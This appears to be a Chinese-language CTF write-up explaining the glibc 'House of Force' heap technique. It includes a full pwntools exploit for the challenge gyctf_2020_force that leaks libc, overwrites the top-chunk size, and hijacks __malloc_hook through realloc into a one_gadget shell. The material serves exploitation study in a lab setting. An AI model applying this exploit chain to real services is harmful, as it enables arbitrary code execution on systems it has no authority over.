适用范围 2.23~2.29
2.29的libc中增加了top chunk的size域合法性检验
1 2 3 if (__glibc_unlikely(size > av->system_mem)) malloc_printerr("malloc(): corrupted top size" );
作用:得到任意地址的chunk
要求:
控制top chunk的size域
自由控制分配堆的大小
利用原理 通过溢出等方式修改top chunk的size域为一个很大的值(通常为-1,-1的补码为0xffffffff),然后申请一个堆块到指定地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 victim = av->top; size = chunksize(victim); if ((unsigned long ) (size) >= (unsigned long ) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; }
将size域改为-1是为了通过这里的if检测,然后申请一个堆块,top chunk
的地址就会对应的减去申请的堆块大小,如果申请的是负的大小的堆块,top chunk
也会相应的增加对应值
例题 gyctf_2020_force 静态分析
main
函数没啥看的
这里存在堆溢出漏洞,每次malloc
结束还贴心的把堆地址告诉你
利用思路 leak libc 在arena
未初始化之前或者初始化后申请一块大于top chunk
大小的堆块会直接调用sysmalloc
来申请内存,这块内存的地址与libc基址有着固定偏移,可以借此来泄露libc基址
改malloc_hook为ogg这里直接改malloc_hook
为one_gadget
经测试行不通,因为无法满足其条件,只能另寻他法或者想办法构造one_gadget
的条件
我们这里选择通过realooc来满足one_gadget
的条件
通过realloc来使one_gadget
条件成立
我们选择的是这条one_gadget
,它的约束是rsp+0x30
处要为NULL,而我们realloc中刚好有一条
可以调整rsp的位置
直接用修改malloc_hook
为ogg
通过realloc
改变rsp后
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *elf = ELF('./gyctf_2020_force' ) libc = ELF('/mnt/d/CTFs/gyctf2020/force/libc-2.23.so' ) context(arch=elf.arch, os=elf.os,log_level='debug' ) local = 1 if local: io = process([elf.path]) else : io = remote('node5.buuoj.cn' ,25740 ) DEBUG = 1 if DEBUG and local: gdb.attach(io, ''' b *$rebase(0xbcc) ''' )p = lambda : pause() ru = lambda x : io.recvuntil(x) rl = lambda : io.recvline() r = lambda x : io.recv(x) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) ia = lambda : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) uu32 = lambda x : u32(r(x).ljust(4 ,b'\x00' )) uu64 = lambda x : u64(r(x).ljust(8 ,b'\x00' )) lg = lambda x,y : log.success(str (x) + ' -> ' + hex (y)) def dbg (): gdb.attach(io) pause() def add (size,content ): sla("puts\n" ,"1" ) sla("size\n" ,str (size)) ru('bin addr ' ) addr = int (r(14 ),16 ) sla("content\n" ,content) return addr def show (): sla("puts\n" ,"2" ) if __name__ == '__main__' : libc.address = add(0x21000 ,'s' ) - 0x5ca010 payload0 = b'a' * 0x10 + b'w' * 0x8 + p64(0xffffffffffffffff ) heap_addr = add(0x10 ,payload0) lg('heap' ,heap_addr) lg('libc' ,libc.address) lg('malloc_hook' ,libc.sym['__malloc_hook' ]) dest = libc.sym['__malloc_hook' ] - 0x10 - (heap_addr + 0x10 ) - 0x10 - 0x10 add(dest,'n' ) p() ogg = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] add(0x10 ,b'x' * 0x8 + p64(libc.address + ogg[1 ]) + p64(libc.sym['realloc' ] + 0x10 )) p() sla('puts\n' ,'1' ) sla('size\n' ,str (10 )) ia()
本地通了,buuctf的远程没打通,原因不明
总结
house of force通过改变top chunk
的size域使在申请一块非常大的堆块时不会适用sysmalloc
来向系统申请映射内存,进而改变top chunk
的位置
在申请的内存大于top chunk
时,系统会调用sysmalloc
来像系统申请映射内存,申请的内存地址与libc基址有着,固定偏移可以通过该内存地址来leak libc
在更改__malloc_hook
为one_gadget
时,如果因约束条件与栈上数据有关而失败可以尝试构造__malloc_hook->realloc + 0x10->one_gadget
的方式来尝试满足one_gadget
的约束条件,因为realloc
函数里有一条sub rsp,0x38
的指令
用我的脚本在55行这里调试用heap
指令看的时候显示的只有最开始sysmalloc
分配的堆块,但是实际上top chunk
是已经到了目标位置的,自己调试的时候可以注意下这里